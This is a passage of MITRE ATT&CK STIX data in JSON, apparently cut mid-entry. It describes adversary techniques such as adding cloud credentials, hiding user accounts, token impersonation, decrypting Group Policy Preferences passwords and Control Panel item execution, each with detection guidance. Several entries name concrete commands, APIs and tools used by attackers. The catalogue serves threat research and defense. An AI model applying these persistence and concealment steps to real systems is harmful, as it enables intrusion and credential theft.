"x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Philip Winther", "Sebastian Salla, McAfee", "Robert Simmons, @MalwareUtkonos"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", "type": "attack-pattern", "created": "2020-10-02T17:08:57.386Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1598.002", "url": "https://attack.mitre.org/techniques/T1598/002"}, {"source_name": "Sophos Attachment", "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/", "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020."}, {"source_name": "GitHub Phishery", "url": "https://github.com/ryhanson/phishery", "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."}, {"source_name": "Microsoft Anti Spoofing", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."}, {"source_name": "ACSC Email Spoofing", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}], "modified": "2021-04-15T03:41:33.335Z", "name": "Spearphishing Attachment", "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content"]}, {"modified": "2024-02-28T14:35:00.862Z", "name": "Additional Cloud Credentials", "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Expel", "Oleg Kolesnikov, Securonix", "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", "Zur Ulianitzky, XM Cyber", "Alex Soler, AttackIQ", "Dylan Silva, AWS Security", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS", "Azure AD", "SaaS"], "x_mitre_version": "2.7", "x_mitre_data_sources": ["User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "created": "2020-01-19T16:10:15.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/001", "external_id": "T1098.001"}, {"source_name": "Crowdstrike AWS User Federation Persistence", "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"}, {"source_name": "Expel IO Evil in AWS", "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", "url": "https://expel.io/blog/finding-evil-in-aws/"}, {"source_name": "SpecterOps Azure Privilege Escalation", "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.", "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"}, {"source_name": "Demystifying Azure AD Service Principals", "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.", "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"}, {"source_name": "GCP SSH Key Add", "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.", "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"}, {"source_name": "Blue Cloud of Death Video", "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.", "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"}, {"source_name": "Blue Cloud of Death", "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.", "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"}, {"source_name": "Microsoft SolarWinds Customer Guidance", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}, {"source_name": "Expel Behind the Scenes", "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.", "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"}, {"source_name": "Sysdig ScarletEel 2.0", "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.", "url": "https://sysdig.com/blog/scarleteel-2-0/"}, {"source_name": "Rhino Security Labs AWS Privilege Escalation", "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T03:46:49.507Z", "name": "User Execution", "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Oleg Skulkin, Group-IB", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS", "IaaS", "Containers"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Instance: Instance Start", "File: File Creation", "Network Traffic: Network Connection Creation", "Container: Container Creation", "Instance: Instance Creation", "Network Traffic: Network Traffic Content", "Process: Process Creation", "Command: Command Execution", "Image: Image Creation", "Application Log: Application Log Content", "Container: Container Start"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1204", "external_id": "T1204"}, {"source_name": "Krebs Discord Bookmarks 2023", "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.", "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"}, {"source_name": "Telephone Attack Delivery", "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.", "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"}, {"source_name": "Talos Roblox Scam 2023", "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.", "url": "https://blog.talosintelligence.com/roblox-scam-overview/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", "created": "2020-02-20T14:31:34.778Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1491.001", "url": "https://attack.mitre.org/techniques/T1491/001"}, {"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", "modified": "2022-07-28T18:55:35.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Internal Defacement", "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Creation", "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "File: File Modification"], "x_mitre_impact_type": ["Integrity"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Omkar Gudhate"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "created": "2020-03-13T20:12:40.876Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.002", "url": "https://attack.mitre.org/techniques/T1564/002"}, {"source_name": "Cybereason OSX Pirrit", "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021."}, {"source_name": "Apple Support Hide a User Account", "url": "https://support.apple.com/en-us/HT203998", "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021."}, {"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}, {"source_name": "Hide GDM User Accounts", "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/", "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022."}, {"source_name": "US-CERT TA18-074A", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", "modified": "2022-04-19T02:31:01.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Hidden Users", "x_mitre_detection": "Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Monitor the command line for usage of the <code>dscl . create</code> command with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation: Apple Support Hide a User Account) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Modification", "User Account: User Account Creation", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Command: Command Execution", "User Account: User Account Metadata"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-10T17:55:46.905Z", "name": "Make and Impersonate Token", "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Jonny Johnson"], "x_mitre_deprecated": false, "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Windows User Account Control", "System access controls", "File system access controls"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", "created": "2020-02-18T18:03:37.481Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1134/003", "external_id": "T1134.003"}, {"source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}, {"source_name": "LogonUserW function", "description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.", "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "type": "attack-pattern", "created": "2020-02-11T18:43:06.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1552.006", "url": "https://attack.mitre.org/techniques/T1552/006"}, {"source_name": "Microsoft GPP 2016", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)", "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020."}, {"url": "https://msdn.microsoft.com/library/cc422924.aspx", "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.", "source_name": "Microsoft GPP Key"}, {"url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html", "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.", "source_name": "Obscuresecurity Get-GPPPassword"}, {"description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", "url": "https://adsecurity.org/?p=2288", "source_name": "ADSecurity Finding Passwords in SYSVOL"}], "modified": "2020-06-17T14:25:38.082Z", "name": "Group Policy Preferences", "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Access", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1196", "url": "https://attack.mitre.org/techniques/T1196"}, {"source_name": "Microsoft Implementing CPL", "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}, {"url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", "source_name": "TrendMicro CPL Malware Jan 2014"}, {"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", "source_name": "TrendMicro CPL Malware Dec 2013"}, {"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", "source_name": "Palo Alto Reaver Nov 2017"}], "modified": "2020-01-31T18:59:21.682Z", "name": "Control Panel Items", "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other 